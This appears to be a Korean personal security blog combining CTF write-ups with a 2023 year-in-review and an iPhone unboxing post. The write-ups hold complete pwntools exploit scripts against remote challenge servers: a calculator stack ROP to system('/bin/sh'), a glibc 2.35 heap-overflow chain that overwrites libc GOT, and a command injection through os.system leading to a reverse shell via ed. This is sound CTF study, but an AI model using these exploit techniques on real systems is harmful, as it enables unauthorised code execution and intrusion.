  unsigned int v2; // eax
  int v3; // eax
  int v4; // eax
  int v5; // eax
  int v6; // [rsp+10h] [rbp-20h]
  unsigned int i; // [rsp+14h] [rbp-1Ch]
  signed int v8; // [rsp+18h] [rbp-18h]
  int v9; // [rsp+1Ch] [rbp-14h]
  char *src; // [rsp+20h] [rbp-10h]
  void *s; // [rsp+28h] [rbp-8h]

  v6 = 0;
  src = s1;
  if ( (unsigned __int8)sub_1488() )
  {
LABEL_2:
    printf("you only can type %s%s\n", a0123456789abcd, asc_46A0);
    return 0LL;
  }
  for ( i = 0; ; ++i )
  {
    if ( (unsigned __int8)sub_1580(i) == 1 )
      continue;
    v8 = (unsigned int)&s1[i] - (_DWORD)src;
    s = malloc(v8);
    if ( !s )
    {
      puts("NULL pointer is allocated, please contact admin.");
      exit(-1);
    }
    memset(s, 0, v8);
    memcpy(s, src, v8);
    v9 = strtol((const char *)s, 0LL, 16);
    free(s);
    src = &s1[i + 1];
    if ( v9 <= 0 )
    {
      if ( s1[i] == 48 )
        goto LABEL_2;
    }
    else
    {
      v2 = (*a1)++;
      a1[v2 + 1] = v9;
      printf("%d\n", *a1);
    }
    if ( *((_BYTE *)a1 + v6 + 1028) )
    {
      v3 = s1[i];
      if ( v3 > 47 )
      {
        if ( v3 == 124 )
        {
LABEL_21:
          sub_15ED(a1, (unsigned int)*((char *)a1 + v6 + 1028));
          *((_BYTE *)a1 + v6 + 1028) = s1[i];
          goto LABEL_24;
        }
LABEL_22:
        v4 = v6--;
        sub_15ED(a1, (unsigned int)*((char *)a1 + v4 + 1028));
        goto LABEL_24;
      }
      if ( v3 < 37 )
        goto LABEL_22;
      switch ( s1[i] )
      {
        case '%':
        case '*':
        case '/':
          if ( *((_BYTE *)a1 + v6 + 1028) == 43
            || *((_BYTE *)a1 + v6 + 1028) == 45
            || *((_BYTE *)a1 + v6 + 1028) == 38
            || *((_BYTE *)a1 + v6 + 1028) == 124 )
          {
            goto LABEL_21;
          }
          *((_BYTE *)a1 + ++v6 + 1028) = s1[i];
          break;
        case '&':
        case '+':
        case '-':
          goto LABEL_21;
        default:
          goto LABEL_22;
      }
    }
    else
    {
      *((_BYTE *)a1 + v6 + 1028) = s1[i];
    }
LABEL_24:
    if ( !s1[i] )
      break;
    if ( (unsigned __int8)sub_1580(i + 1) != 1 )
    {
      printf("%s is invalid expression.\n", s1);
      return 0LL;
    }
  }
  while ( v6 >= 0 && *((_BYTE *)a1 + v6 + 1028) )
  {
    v5 = v6--;
    sub_15ED(a1, (unsigned int)*((char *)a1 + v5 + 1028));
  }
  return 1LL;
}

대충 로직 보니까 pwnable.tw calc문제랑 비슷해보이길래 분석 안하고 손으로 몇개 때려봤는데 calc문제랑 똑같이 취약점 터져서 분석 안하고 익스했다. 스택에 있는 값을 읽고, 더하고, 빼고, 곱하고, 나누고, 모듈러때리고 할 수 있으니까 쉽게 풀 수 있다.

from pwn import *

#r = process("./prob")
r = remote("3.34.190.217", 51255)

def leak(offset):
    r.sendlineafter("expr> ", "+"+hex(offset)[2:])
    r.recvuntil("=")
    val1 = r.recvline().replace(b"\n", b"")
    r.sendlineafter("expr> ", "+"+hex(offset+1)[2:])
    r.recvuntil("=")
    val2 = r.recvline().replace(b"\n", b"")

    return int(val2+val1, 16)

def mkzero(offset):
    r.sendlineafter("expr> ", "+"+hex(offset)[2:])
    r.recvuntil("=")
    val = int(r.recvline().replace(b"\n", b""), 16)
    if val%2:
        r.sendlineafter("expr> ", "+"+hex(offset)[2:]+"%2+1")
        if val < 0x80000000:
            r.sendlineafter("expr> ", "+"+hex(offset)[2:]+"-2")
    else:
        r.sendlineafter("expr> ", "+"+hex(offset)[2:]+"%2")

def aaw(off, val):
    mkzero(off)
    v1 = val & 0xffffffff
    v2 = val >> 32
    r.sendlineafter("expr> ", "+"+hex(off)[2:]+"+"+hex(v1//2)[2:])
    r.sendlineafter("expr> ", "+"+hex(off)[2:]+"+"+hex(v1//2)[2:])
    if v1%2:
        r.sendlineafter("expr> ", "+"+hex(off)[2:]+"+1")
    mkzero(off+1)
    r.sendlineafter("expr> ", "+"+hex(off+1)[2:]+"+"+hex(v2//2)[2:])
    r.sendlineafter("expr> ", "+"+hex(off+1)[2:]+"+"+hex(v2//2)[2:])
    if v2%2:
        r.sendlineafter("expr> ", "+"+hex(off+1)[2:]+"+1")

libc_leak = leak(326)
libc_base = libc_leak - 0x24083
system = libc_base + 0x52290
binsh = libc_base + 0x1b45bd
pop_rdi = libc_base + 0x23b6a
log.info(hex(libc_base))
log.info(hex(libc_leak))

aaw(326, pop_rdi)
aaw(328, binsh)
aaw(330, pop_rdi+1)
aaw(332, system)

r.sendlineafter("expr> ", "exit")

r.interactive()

exploit코드인데 먼저 원하는 주소의 값을 0으로 만들어준 후 원하는 4바이트 값을 2로 나눠서 두번 더해주는 식으로 aaw를 만들었다. 왜 2로 나눠서 더했냐면 0xf0000000과 같이 음수를 더할때 이상하게 제대로 처리가 안되길래 2로 나눠서 두번 더해줬다. 아무튼 이렇게 스택에 rop chain만들면 쉽게 풀 수 있다.

Unsafe Calculator

나를 개빡치게 했던 문제다.

import os, traceback, re, binascii

VERSION = 'ver.0.1'

logo_1 = r'''
         ____  ____  ____  ____  ____  ____  ____  ____  ____  ____ 
        ||C ||||a ||||l ||||c ||||u ||||l ||||a ||||t ||||o ||||r ||
        ||__||||__||||__||||__||||__||||__||||__||||__||||__||||__||
        |/__\||/__\||/__\||/__\||/__\||/__\||/__\||/__\||/__\||/__\|
'''
logo_2 = r'''
                        +---------------------------+
                        | ///////////////////////// |
                        +---------------------------+
                        | [              1,264.45 ] |
                        +---------------------------+
                        |                           |
                        |                           |
                        | [sto] [rcl] [<--] [AC/ON] |
                        |                           |
                        | [ ( ] [ ) ] [sqr] [  /  ] |
                        |                           |
                        | [ 7 ] [ 8 ] [ 9 ] [  *  ] |
                        |                           |
                        | [ 4 ] [ 5 ] [ 6 ] [  -  ] |
                        |                           |
                        | [ 1 ] [ 2 ] [ 3 ] [  +  ] |
                        |                           |
                        | [ 0 ] [ . ] [+/-] [  =  ] |
                        |                           |
                        +---------------------------+
'''
expr = ''
syms = ['+', '-', '*', '/', '|', '&', '%']
word = '0123456789abcdef'
whitelist = word+''.join(syms)

def print_logo():    
    print(logo_1, end='')
    print(logo_2, end='')
    print(logo_1, end='')
    print('    '*16 + VERSION+'\n\n')
    print('''example)
    1+2
    a+b+c
    a*15
    b/3
    ''')

def filter():
    for c in expr:
        if c not in whitelist:
            return True
    return False

def operation():
    global expr

    if filter():
        print("you only can type %s"%whitelist)
        return

    nums = re.split('|'.join(map(re.escape, syms)), expr)
    while '' in nums:
        nums.remove('')
    nums = list(map(lambda x:int(x, 16), nums))
    
    opers = re.findall('[\+\-\*\/\|\&\%]', expr)
    
    if len(nums)-1 != len(opers):
        print('%s is invalid expression!'%expr)
        return
    
    expr = expr.replace('%', '%%')

    script = 'val = nums[0]\n'
    for i in range(len(opers)):
        script+=f'val {opers[i]}= {nums[i+1]}\n'
    script += 'print(f\'{expr}=%x\'%val)'
    exec(script)

def read_expr():
    global expr
    expr = input('expr> ')[:1000]
    
def raise_error(e):
    if type(e) == KeyboardInterrupt:
        print("\nif you want to quit this calculator, type 'exit'\n")
    else:
        if type(e) == EOFError:
            e = 'EOFError'
            error_msg = 'Please do not press CTRL+D'
        else:
            error_msg = f'{expr} is invalid expression!'
        tmp_err_logs = '.'+binascii.hexlify(os.urandom(8)).decode()
        cmd = f'''
            echo "*** {str(e)} ***" > {tmp_err_logs}
            echo {error_msg} >> {tmp_err_logs}
            cat {tmp_err_logs}
            rm {tmp_err_logs}
        '''
        os.system(cmd)
    return

def main():
    print_logo()

    while True:
        try:
            read_expr()
            if expr == 'exit':
                break
            operation()
        except Exception as e:
            raise_error(e)
        except KeyboardInterrupt as e:
            raise_error(e)

if __name__ == '__main__':
    main()

일단 0/0을 하면 0으로 나누기 때문에 python에서 exception을 발생시킬 수 있고 expr을 넣은 상태로 os.system을 실행시킬 수 있는데 0/0&a 이런식으로 주면 &가 커맨드로 들어가기 때문에 a라는 명령어를 실행시킬 수 있다. 원하는 명령어를 실행할수는 있지만 whitelist filter되는 문자들이 극도로 한정적이라 풀기 어렵다. 내가 아는 모든 command injection트릭들을 시도해봤으나 성과는 없었다.

그러던 중에 힌트가 나왔고

FROM ubuntu:22.04
MAINTAINER ipwn <ipwn.with@gmail.com>

RUN apt update -y
RUN apt install socat python3 ed -y
RUN useradd -mU prob

COPY prob.py /home/prob/prob.py
COPY flag.txt /home/prob/flag.txt

RUN chmod 750 /home/prob /home/prob/prob.py
RUN chmod 440 /home/prob/flag.txt

RUN chown -R root:prob /home/prob

USER prob
WORKDIR /home/prob

CMD socat -T 30 tcp-l:51251,reuseaddr,fork EXEC:"python3 prob.py 2>&1"

힌트 받고 Dockerfile을 보니까 ed라는 패키지를 설치하고 있는걸 볼 수 있다. ~~그게 뭔데 씹덕아~~

그래서 ed사용법을 구글링해보니까 r flag,txt를 치고 1을 치면 첫번째 줄이 읽히는걸 볼 수 있었다. 로컬에서 플래그를 쉽게 얻고 싱글벙글하게 리모트를 날렸는데 리모트의 홈디렉터리에는 파일 쓰기권한이 없어서 >>를 이용해서 파일로 리다이렉트된 내용을 보지 못한다. 즉 ed를 실행해도 결과를 못본다는 말이다. 그래서 나는 저 리다이렉션을 표준 출력으로 바꾸려고 엄청난 삽질을 했고 당연하겠지만 성과가 없었다. 0/0&ed|ed 이런식으로 파이프를 쓰면 ed에디터에 명령어를 입력할순 있었지만 그 결과를 볼수가 없었다. 그렇게 삽질 계속 하다가 9시 40분쯤에 자포자기하는 심정으로 있었는데 갑자기 vim에서 !를 이용해서 셸 명령어를 실행할 수 있었던게 떠올랐고 설마설마 했는데 얘도 똑같았다. 결국 에디터에서 리버스쉘 열어서 플래그 볼 수 있었다.

요렇게 해주면

요렇게 플래그를 볼 수 있다.

chachacha

대회 끝나고 풀어본 문제다.

전형적인 힙익스 문제인 노트챌린지이다. 할당, 해제, 출력, 수정의 기능이 있는데

해제는 안된다고 한다.

그리고 edit할때 size가 0x1000보다 작은지만 검증하고 수정할 청크의 크기보다 큰지는 검증 안하기 때문에 heap overflow가 발생한다. 결론은 힙오버만 가지고 익스해보라고 하는 문제인데.. elf binary에서 heap overflow를 유의미하게 만들려면 함수포인터가 heap에 있는게 아닌이상 무조건 tcache bin이던 fastbin이던 unsorted bin이던 chunk를 bin에 넣고 fd나 size같은걸 덮어야 의미가 있다. 그러면 bin에 어떻게든 chunk를 넣을 방법을 찾아야 하는데 top chunk의 size를 덮고 top chunk를 작게 만든 후 top chunk보다 큰 chunk를 할당하는 요청을 보내면 heap이 확장되면서 새로운 top chunk가 생기게 되고 이 과정에서 tcache bin에 free chunk가 생기게 된다. 아마 기존의 top chunk가 해제되는게 아닌가 싶은데 자세한건 glibc 2.35에서의 힙 확장 로직을 분석해봐야 알 수 있을것 같다. top chunk의 size를 수정할때는 page단위에 맞게 수정해줘야 assert문에 안걸리고 이 page의 크기에 따라서 free chunk의 크기가 결정된다. 그리고 page의 크기는 이전에 할당했던 chunk의 size에 영향을 받으므로 잘 조작해서 3번정도 free를 시키면 unsorted bin에 하나가 들어가고 같은 idx의 tcache bin에 2개의 chunk가 연결되어있는 이상적인 형태를 만들 수 있다. 2개를 넣어야 하는 이유는 tcache count때문이다. count를 2로 만들어줘야 fd를 덮고 2번 할당해서 aaw를 할 수 있기 때문이다. 아무튼 저 형태 만들었으면 원하는 값 들어있는데까지 overflow이용해서 데이터 꽉 채워서 libc랑 heap(safe linking때메 leak필요함)을 leak할 수 있고 aaw를 할 수 있다. aaw까지 만든 이후에는 fsop해도 되지만 libc got쪽에 system주소를 spray해서 풀었다. free hook과 malloc hook이 사라진 최신 버전에서 aaw가 있을때 자주 쓰는 꼼수인데 보통 libc got쪽에 system주소로 싹다 도배를 해놓으면 그중에 하나는 높은 확률로 인자를 조작할 수 있고 그러면 셸을 딸 수 있게 된다. 만약 8byte aaw한번만 할 수 있는 상황이라 해도 힙에다가 fake _IO_FILE struct를 세팅해두고 _IO_list_all을 해당 힙주로도 덮어서 fsop하면 된다.

from pwn import *

#r = process(["./prob"], env={"LD_PRELOAD":"./libc"})
r = remote("3.34.190.217", 51253)

def add(size, data):
    r.sendlineafter("> ", "1")
    r.sendlineafter("size: ", str(size))
    r.sendafter("content: ", data)

def edit(idx, size, data):
    r.sendlineafter("> ", "4")
    r.sendlineafter("idx: ", str(idx))
    r.sendlineafter("size: ", str(size))
    r.sendafter("content: ", data)

def leak(idx):
    r.sendlineafter("> ", "3")
    r.sendlineafter("idx: ", str(idx))

def decrypt(cipher):
    key = 0
    plain = 0

    for i in range(1, 6):
        bits = 64-12*i
        if bits < 0:
            bits = 0
        plain = ((cipher ^ key) >> bits) << bits
        key = plain >> 12

    return [key, plain, cipher]

add(0x10, b"a"*0xf)
edit(0, 0x28, b"a"*0xf+p64(0)+p64(0x141)+p64(0))
add(0x200, b"a"*0x1ff)
edit(1, 0x218, b"a"*0x1ff+p64(0)+p64(0xdf1)+p64(0))
add(0xeb0, b"a"*0xeaf)
add(0x200, b"b"*0x1ff)
edit(3, 0x210, b"c"*0x20f)
leak(3)

libc_leak = u64(r.recvuntil("\x7f")[-6:].ljust(8, b"\x00"))
libc_base = libc_leak - 0x219ce0
system = libc_base + 0x50d70
_IO_wfile_jumps = libc_base + 0x2160c0
_IO_list_all = libc_base + 0x21a680
libcgot = libc_base + 0x219090
log.info(hex(libc_base))

edit(3, 0x210, b"c"*0x1ff+p64(0)+p64(0xbc1))
edit(2, 0xec8, b"a"*0xeaf+p64(0)+p64(0x141)+p64(0))
add(0xc00, b"a"*0xbff)

edit(2, 0xec0, b"a"*0xebf)
leak(2)
r.recvuntil(b"a"*0xebf)

key, heap_leak, encheap = decrypt(u64(r.recvn(6).ljust(8, b"\x00")))
log.info(hex(heap_leak))
log.info(hex(key))
key += 0x32
heap_leak = encheap ^ key
log.info(hex(heap_leak))
edit(2, 0xec8, b"a"*0xeaf+p64(0)+p64(0x121)+p64((libcgot-0x80) ^ key))

add(0x110, b"/bin/sh\x00"+b"a"*0x107)
add(0x110, b"a"*0x7+p64(system)*0x21)

r.sendlineafter("> ", "4")
r.sendlineafter("idx: ", "5")
r.sendlineafter("size: ", "10")
r.recv()

r.interactive()

2023년 회고록

Sechack — Wed, 10 Jan 2024 02:16:31 +0900

사실 2023년은 어떻게 지나간지 모르겠다. 지금까지 살아왔던 1년중에 체감상 가장 빠르게 지나간 1년이 아닐까 싶다. 분명히 무언갈 많이 했고 성과도 가장 많이 나오고 가장 힘들기도 했던 1년이었는데 너무 정신없이 살아서그런지 강렬하게 기억에 남는것도 없고 아무것도 안했는데 갑자기 1년이 지나간 느낌이 든다.

1월 ~ 7월

왠지는 모르겠지만 2023년도 초창기 기억이 없다. 갤러리를 뒤져보니까 1월달에 클라이밍 처음 접했을때 영상과 양꼬치 사진이 있는걸로 봐선 1월에 클라이밍을 처음 해봤었던것 같다. 그리고 인스타 클라이밍 계정의 첫 업로드 날짜를 보니까 제대로 시작한건 5월부터다. 아 그리고 1월에 잠깐 크립토를 열심히 공부했던 흔적이 보인다.

https://blog.sechack.kr/117 대충 요런 글들..

그리고 2월 한달동안 줄넘기 데스매치(https://blog.sechack.kr/118 요 글 참고)를 했었다. 아마 이때가 심적으로든 물리적으로든 가장 자유로웠던 시절이 아닐까 싶다. 이때 체스에도 2달정도 빠졌어서 체닷기준 레이팅 1100까지 찍고 접었다. PS도 좀 공부했던 흔적이 있는데 2023년도 초창기에 뭐 이것저것 많이 했었던것같다.

그리고 앞에서 언급했듯이 5월부터 인스타 클라이밍 계정을 만들고 열심히 성장하는 모습을 업로드하기 시작했다. 클라이밍에 빠져서 근육통이 너무 심하지만 않으면 학교끝나고 암장에서만 살았다. 1주일에 3번 이상은 꾸준히 다녔었던것 같다. 처음할때랑 비교해서 실력도 꽤 좋아졌고 클라이밍만 했는데 풀업 개수가 늘어있는 마법도 볼 수 있었다. 이때는 컴퓨터도 거의 안하고 운동에 미쳐있었다.

그리고 새로운 변화가 하나 더 있었다.

지금 소속되어 있는 CTF팀인 cat :flag_kr: (캣플코라 부른다)이 만들어진 계기다. 저 디코방은 4명이 있는 그냥 친목방이고 거기서 위 사진과 같은 느낌으로 만들어진 팀이다. 그런데 점점 주변 고수들 들어오면서 규모 불어나고 몇번 같이 뛰어봤는데 성과도 웬만한 메이저 팀정도로 엄청 잘나오고 여러모로 메리트 있는 팀이 되었다. 유명하고 규모있는 CTF팀에 합류해서 같이 CTF를 뛰는게 해보고싶던 것 중 하나였는데 캣플코에 합류하게 됨으로써 그걸 이루게 되었다. 그리고 오랫동안 몸담고 있었던 팀이었던 H4C는 중복 팀 방지 룰이 있어서 어쩔 수 없이 나오게 되었다.

7월 ~ 12월

재미나게 이것저것 즐기던 내가 BoB 12기에 최종합격하게 되었다. 7월부터 교육 시작이었는데 가산에 있는 센터에 거의 매일 가서 들어야 하는 교육 + 계속해서 쏟아지는 과제때문에 클라이밍 할시간도 사라지고 캣플코에서 CTF뛰는것도 파트타임으로 참여할수밖에 없었다. BoB에 합격한건 좋은 일이지만 클라이밍과 캣플코에서의 CTF를 포기하는건 너무 아쉽다고 생각했다. BoB가 끝나면 캣플코에서 CTF도 열심히 뛰고 클라이밍도 다시 복귀해서 열심히 할것이다.

사실 BoB를 시작한 이후로는 BoB에 대한 기억밖에 없다. 당연히 학교는 BoB때문에 빠지는 날이 많았고 신경도 오로지 BoB에만 집중되어 있었다. BoB에서 주는 과제가 살인적이라는 얘기를 많이 들었어서 긴장하고 갔는데 생각보다 그렇게 빡세진 않았다. 센터에서 밤새면서 다른 사람들이랑 노는것도 재밌었고 과제 클리어하는것도 기억이 미화되어서 그런지 재밌었던것 같다. 하지만 과제때문에 CTF, 클라이밍 등 원래 즐겨오던 요소들이 억제되고 반강제적으로 구속되는 느낌? 이거는 확실히 스트레스긴 했다. 하지만 처음 들어올때 과제에 대한 이야기를 많이 들었던 만큼 각오도 되어있었고 예상 범위 안쪽이었어서 무난하게 트랙교육까지 과제 올클리어로(아무도 해결하지 못한 과제 하나 빼고) 마무리 했다.

트랙교육이 끝나고 열심히 행복회로를 돌리고 있었는데 사실 진짜 힘든건 이제부터 시작이었다. 바로 3개월동안 팀을 짜서 하는 프로젝트라는게 있었던 것이다. BoB들어오기 전에 주변에서 다들 과제에서 나가떨어지는 얘기만 해주고 프로젝트 관련해서는 힘들다는 얘기를 들어본적도 없고 겉으로 보기에 오히려 친목 많이하면서 즐기는 느낌이 커보여서 별로 안힘들고 할거 다 하면서 하루 두세시간씩 가볍게 투자하는 느낌인줄 알았다. 그래서 처음에 사무실 알아볼때도 굳이 사무실까지? 라는 느낌이 강했는데 10시 출근 22시 퇴근이라는 사무실 출퇴근 룰이 생기고 나서부터 무언가 잘못되고 있다는걸 느꼈다. 물론 나는 학교때문에 학교 -> 사무실 패턴이었다.

9월부터 프로젝트를 시작했는데 초창기에는 Windows Kernel이라는 태어나서 처음 접해보는 분야를 1-day분석을 하면서 공부했었는데 꽤 재밌었고 처음 공부한지 1주일도 안된 시점에서 외국 대기업에서 만든 드라이버에서 OOB를 찾아냈다. LPE까지 익스는 못했지만 현재 CVE를 발급받은 취약점이다. 리얼월드에서 뭔갈 해본게 아예 처음이라서 기분이 좋았는데 팀에서는 LPE아니면 의미없다는 식으로 말하고 같이 좋아해주는 사람이 1명도 없어서 많이 아쉬웠다.

그리고 9월 중순쯤부터 매일 사무실로 출퇴근을 반복하는 삶에 현타가 오기 시작했다. 일단 하고싶은걸 아예 못하는게 가장 컸고 기간이 짧으면 버틸 마음이라도 생길텐데 12월까지 3개월동안 모든게 억제된 삶을 버티는건 도저히 불가능하다는 결론이 나왔다. 열심히 해도 성과가 안나오면 안하는걸로 취급하고 성과가 나와도 으쌰으쌰 하는 느낌 없이 더 큰것만을 바라는 팀 분위기도 한몫 했다. 사회가 결과주의이고 노력은 결과가 안나오면 인정받지 못하는 요소라는걸 알고는 있었지만 막상 그거를 당해보니까 머리로는 인정해도 심리적으로 타격이 있는건 어쩔 수 없었다.

10월부터는 어떻게 흘러갔는지도 모르겠다. 사무실 근처에 있는 중화요리 맛집이랑 소문난 구내식당 말고는 생각나는게 없다. 진짜 뇌 비우고 기계처럼 생활하면서 버티기만 했던것 같다. 그렇게 살다가 11월쯤에 중도포기 각까지 재면서 주변 몇몇 사람들한테 이런저런 하소연을 좀 했는데 결국 1주일 쉬고 다시 프로젝트에 복귀했다. 그리고 어느정도 회복된 정신력 + 마지막 버저비터로 최종발표 1일전까지 취약점을 발굴해냈다.

사실 지금 생각해보면 팀 자체가 고인물팟이라 다들 기대치가 높고 내가 힘든건 어쩔 수 없었던것 같다. 프로젝트를 너무 안일한 생각으로 준비되지 않은 상태에서 시작함 + 다들 고인물이라 매우 높은 성과만을 바라봄 + 자유 박탈 이렇게 3가지 요소가 스트레스의 원인이었다. 그래도 중도포기 할뻔한거 어찌어찌 잘 마무리 되고 top30까지 와서 지금은 경연단계를 하고 있다.

대회

2023년에도 대회를 많이 뛰었다. 중3때부터 대회를 뛰었지만 이제 와서야 수상권에 확실히 들 수 있게 되었고 올해 국내 팀대회는 사실상 우리팀 기준으로 1, 2등끼리 싸우는 투탑싸움이었다. 물론 대부분 2등했다. ㅋㅋㅋ;; 그렇게 기대하고 있던 Codegate는 대회 종료 10분전까지 2등이었는데 키핑 + 어떤 외국인의 마지막 버저비터로 순식간에 4위까지 밀려나서 멘탈이 크게 나갔었다. 1등까지는 아니더라도 무조건 코게 상을 딸 수 있을거라는 확신이 있었고 상 못받는 시나리오는 생각조차 안했는데 갑자기 막판에 그렇게 밀려버리니까 한 3일동안은 진짜 멘탈이 나가있었다. 1, 2등이 전부 외국인이라는것도 전혀 생각하지 못한 시나리오였다. 이제 코드게이트 주니어 뛸 수 있는 년도는 2024년밖에 없으니까 올해 무조건 상을 따놔야 좀 만족이 될거같다. 다른 대회들은 앞에서도 잠깐 언급했다시피 1, 2등 두고 투탑싸움 했고 싹다 밀려서 CCE 2등, WACON 2등, Whitehat Contest 1등으로 마무리했다. 화햇콘은 우리랑 투탑싸움하던 1등팀 멤버 2명? 정도가 개인적인 사정으로 인해 빠지게 되면서 1등을 할 수 있었다. 순천향대에서 여는 개인전 대회인 YISF에서도 1등을 해서 과기부 장관상 땄고 Whitehat Contest에서도 1등으로 국방부 장관상 따서 장관상이 2개가 생기는 2023년이었다.

그리고 가장 의미있고 기억에 남았던건 올해 처음으로 외국 나가서 A&D방식의 CTF를 뛰는 경험을 해봤다. 바로 캣플코 덕분에 이런 귀한 경험을 할 수 있었는데 연합을 해서 HITCON 2023본선에 진출했던 것이다.

https://ctftime.org/team/268434

CTFtime.org / 프로그램털모찌

ctftime.org

이 팀이 우리 HITCON연합팀인데 전부 한국인들만으로 구성되어있다. 솔직히 예선은 BoB프로젝트때문에 제대로 뛰지도 못해서 기억 잘 안나고 기여도 거의 못했다. 하지만 본선에서만큼은 열심히 pwnable문제를 잡았다. 결국 익스는 못했지만 애초에 한팀도 익스 못한 문제고 그 유명한 MMM보다도 우리 팀이 더 많이 접근했던 문제였다. HITCON본선을 참여하면서 일반적인 대회에서는 경험할 수 없는 A&D(실시간 공방)방식의 대회를 어떻게 준비해야 하는지, 어떻게 진행되는지 등을 몸소 체험할 수 있는 유익한 시간이었고 닉네임으로만 알던 고수분들도 직접 볼 수 있어서 좋았다. 2023년의 HITCON경험은 앞으로 DEF CON CTF와 같이 세계적으로 큰 대회 본선을 할때 많은 도움이 될 것 같다.

정리

이 글을 쓰기 전에는 아무것도 안했는데 1년이 갑자기 지나간 느낌이 들었는데 이것저것 쓰다보니 2023년은 많은 것들을 했고 성과도 가장 많이 나온 한 해였다는게 체감이 된다. 이것저것 많이 한 만큼 시간이 빨리 흐른듯한 체감이 드는게 아닐까 싶다. BoB도 이제 거의 끝나가고 top30경연단계만 남았다. 이것도 2월 중순이면 끝난다. BoB끝나면 클라이밍도 복귀하고 싶고 캣플코에서 CTF도 제대로 뛰고 싶고 짬짬히 하던 PS도 제대로 공부해서 코드포스 레이팅도 올리고싶고 하고싶은게 너무 많고 공부하고싶은것도 너무 많다.

아 그리고 2023년에 한게 아니긴 하지만

드림핵 CTF레이팅 마스터 찍었다. 지금은 2등이지만 내 위에 있던 분들이 배치고사 한판 치면 5등? 정도가 될 것 같다. 시즌 5 시작하자마자 마스터 찍으려고 존버중이었는데 존버 성공했다 ㅋㅋ 시즌 3때 마스터까지 레이팅 23이었나? 아무튼 아주 조금 남겨두고 아쉽게 시즌이 끝났고 시즌 4는 BoB때문에 한판도 못뛰었는데 드디어 시즌 5첫판에 목표 달성했다. GG

드림핵 CTF배치고사는 이전 시즌 레이팅을 매우 크게 반영해서 사실 배치고사던 아니던 차이가 없다. (배치빨 아니라는 얘기임)

아이폰 15프로 구매 후기 + 언박싱

Sechack — Thu, 4 Jan 2024 21:48:37 +0900

아이폰 15프로를 질렀다. BoB에서 주는 돈, 대회 상금 등 계속 어딘가에서 돈이 들어와서 정신차려보니까 300이 넘는 돈이 토스에 찍혀있었다. 예전부터 맥북, 아이폰 등 애플 제품에 대한 욕심만 있고 실제로 구입할 생각은 에어팟 빼고는 못했는데 여윳돈이 생기니까 지를까 말까 고민하게 되었다. 생각을 좀 해보니까 직장인 한달 월급도 안되는 금액 가지고 왜 고민을 하고 있을까 라는 생각이 들었고 바로 아이폰 15프로를 구입하기로 결심했다.

가장 먼저 애플 공홈을 들어가봤는데 128GB짜리를 155만원에 팔고있었다. 이것보단 무조건 더 싸게 살 수 있을거같아서 쿠팡에 가봤더니 로켓와우 가입해둔것때문에 5%를 할인받을 수 있었다. 대략 8만원? 정도 할인이 되었는데 바로 사려고 했지만 카드 한도때문에 결제가 안되는 것이다. 무통장 입금도 못하는 상품이고 계좌등록 하려니까 1원인증 해야되는데 토스에서 입금자명 별표처리해서 이것도 못한다. 은행 앱은 비번 3번 틀려서 초기화하려면 귀찮아져서 미루고 있는 상황이다. 결국 돈은 있는데 결제할 수 있는 수단이 없어서 쿠팡을 포기해야 했다.

그리고 아이폰은 중고도 꽤 괜찮다는 말도 들어서 당근마켓도 한번 들어가 봤는데 새 상품인 미개봉 폰을 시세보다 엄청 싸게 팔고 있는거였다. 128GB도 아니고 무려 256GB짜리를 150정도 시세에 팔고있었는데(256GB면 애플 공홈에선 170이다. 무려 20이나 저렴...) 이정도 가격이면 개꿀이다 싶어서 바로 거래를 했다. 보통 이런식으로 시세보다 싸게 미개봉 제품을 올려서 판매하는 이유는 카드깡이다. 근데 뭐 내알바는 없고 새 폰만 싸게 사면 그만이다 ㅋㅋ 단 개인간의 거래라서 뽑기운이 나쁠때 교환, 환불이 안된다는 리스크랑 사기당할 위험성 이렇게 2가지는 단점이긴 한데 뽑기운은 뭐 공장 돌아가는 과정 보면 불량품 나올 확률은 거의 극악이라 나쁠거라는 생각은 전혀 안했고 사기도 에어팟 이런것도 아니고 휴대폰인데 짝퉁이 있을리가 없고 박스에 적힌 imei번호만 조회해봐도 가개통된 폰인지 도난폰인지는 바로 알 수 있고 마지막으로 고려해야할건 중고폰을 미개봉처럼 포장해둔 경우인데 이건 뭐 폰 켜보면 바로 중고인지 알 수 있기도 하고 당근 특성상 상대방의 이전 거래내역이나 매너온도 등 이전에 거래한 내역과 평판을 볼 수 있으니까 리스크가 어느정도 있긴 하지만 큰 리스크는 아니라 생각하고 바로 거래를 했다.

성공적으로 직거래를 완료했다. 그런데 내 계좌 하루 송금 한도가 100만원이라서 일단 송금하고 나머지는 내일 송금해도 되냐고 양해를 구했는데 다행히 이해해주셨다. 굿 ><

포장된걸 뜯기 직전이 가장 설레는 순간이다.

캬... 바로 이쁜 후면이 모습을 드러낸다.

C to C케이블도 들어있다. 이 케이블도 유용하게 쓰일것같다.

초기 세팅을 마치고 켜진 휴대폰이다. 이것저것 확인해본 결과 이상 없는 새 폰인게 확인되었다.

이제 케이스랑 보호필름 쿠팡에서 주문했는데 이거 오면 완전체 아이폰이 완성된다. :) 에어팟이랑도 연동 잘되는거 보니까 행복하다. 더 여유가 생기면 맥북까지 사고 애플워치, 아이패드 걍 싹 다 사서 애플 완전체 만들 생각이다.